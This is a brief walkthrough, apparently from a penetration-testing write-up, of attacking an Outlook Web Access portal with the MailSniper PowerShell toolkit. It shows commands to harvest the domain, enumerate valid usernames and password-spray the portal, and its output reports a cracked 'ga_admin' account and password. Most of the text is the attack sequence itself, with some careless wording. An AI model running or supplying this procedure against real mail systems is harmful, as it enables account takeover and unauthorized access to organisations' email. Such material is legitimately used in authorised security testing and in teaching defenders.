We've need to obtain a the domain of the mail server we're targeting. Luckily, we can do so with MailSniper.
PS C:\Users\scrub\MailSniper> Invoke-DomainHarvestOWA -ExchHostname rottadev.onmicrosoft.com
[*] Harvesting domain name from the server at rottadev.onmicrosoft.com
Find users.
Once you have a user wordlist & domain, use it to find valid users with Invoke-UsernameHarvestOWA.
Once we have valid usernames we start spraying passwords.
PS C:\Users\scrub\MailSniper> Invoke-PasswordSprayOWA -ExchHostname mail.rottadev.onmicrosoft.com
-UserList .\valid_usernames.txt -Password P@ssw0rdd
[*] Now spraying the OWA portal at https://rottadev.onmicrosoft.com/owa/
[*] SUCCESS! User:rottadev.onmicrosoft.com\ga_admin Password:P@ssw0rdd
[*] A total of 1 credentials were obtained.